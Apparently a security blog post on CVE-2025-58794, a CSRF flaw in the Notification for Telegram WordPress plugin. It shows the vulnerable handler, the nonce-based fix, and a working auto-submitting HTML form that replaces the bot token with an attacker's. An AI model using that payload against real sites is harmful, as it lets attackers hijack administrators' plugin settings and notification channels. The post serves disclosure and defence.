Rainafarai’s Notification for Telegram plugin is a popular solution for sending alerts from WordPress to Telegram. However, in early 2025, a major security flaw was found -- CVE-2025-58794, a Cross-Site Request Forgery (CSRF) vulnerability affecting versions up to 3.5.

In this post, we’ll break down what the vulnerability is, why it’s dangerous, and exactly how an attacker could exploit it, along with code samples and resources for further reading.

What is CSRF?

Cross-Site Request Forgery (CSRF) is a type of attack that tricks a user’s browser into sending a request to a web application in which the user is authenticated, without their consent or knowledge. If an application doesn’t properly check for CSRF, attackers can forge actions like changing settings, sending messages, or other harmful actions.

Where’s the Problem in Notification for Telegram?

CVE-2025-58794 affects all versions of Notification for Telegram up to and including 3.5. The plugin’s settings page allowed important actions to be performed without a valid CSRF (nonce) token.

This means an attacker could craft a malicious page that, if visited by an authenticated admin, could result in changes to the plugin’s settings -- like stealing the bot token, adding a new chat, or even disabling notifications entirely.

Let’s take a look at a likely (simplified) snippet of vulnerable code from the plugin

// File: admin-settings.php

if (isset($_POST['submit'])) {
    $token = trim($_POST['bot_token']);
    update_option('notification_for_telegram_bot_token', $token);
    // ... other settings updates ...
    echo 'Options updated successfully!';
}

// There’s no check for wp_verify_nonce($_POST['_wpnonce'], ...);

What's missing?
There is no nonce check here. Normally, actions like updating options in WordPress should be protected by a wp_nonce_field on the form and verification with check_admin_referer() on submission.

3. Victim loads an attacker-controlled page containing a hidden form that auto-submits a POST request to the vulnerable plugin’s settings endpoint, changing the configuration.

Example exploit code

<form action="https://example.com/wp-admin/admin.php?page=notification-for-telegram-settings"; method="POST" id="csrf_form">
  <input type="hidden" name="bot_token" value="ATTACKER_BOT_TOKEN">
  <input type="hidden" name="submit" value="1">
</form>
<script>
  document.getElementById('csrf_form').submit();
</script>

When the logged-in admin visits the malicious page, their browser submits this form in the background. The bot token gets swapped out, and now notifications may be sent to an attacker’s Telegram channel.

Sensitive Information Disclosure: Attacker can dump secret bot tokens.

- Notification Hijack: Attacker can redirect notifications to their own Telegram chats/channels by changing IDs.
- Service Disruption: Attacker can disable Telegram notifications outright, resulting in loss of important alerts.

How to Fix

Plugin developers should always use WordPress nonces on admin forms. For this plugin, adding something like this is critical:

// On the settings form
<?php wp_nonce_field('update_notification_tg_settings'); ?>

// When handling POST:
if (!check_admin_referer('update_notification_tg_settings')) {
    wp_die('Nonce check failed');
}

Are You Vulnerable?

If you use Notification for Telegram <= 3.5, you are at risk!

Update the plugin as soon as a patch is released.

- In the meantime, only allow trusted admins access to your WordPress, and consider disabling the plugin.

References and Further Reading

- CVE-2025-58794 on cve.org *(pending)*
- Notification for Telegram WordPress Plugin
- OWASP: Cross-Site Request Forgery (CSRF) Cheat Sheet
- CSRF in WordPress Plugins: How to Fix
- Exploit: Simple CSRF Demo (gist.github.com)

TL;DR

CVE-2025-58794 is a major CSRF bug in Notification for Telegram up to 3.5. Anyone who can convince a logged-in admin to visit a malicious page can reconfigure the plugin. Site admins must update ASAP and plugin coders should always use nonces for safety.


*Stay secure, patch often, and review your WordPress plugins for basic security hygiene!*

Timeline

Published on: 09/05/2025 13:45:03 UTC
Last modified on: 04/15/2026 00:35:42 UTC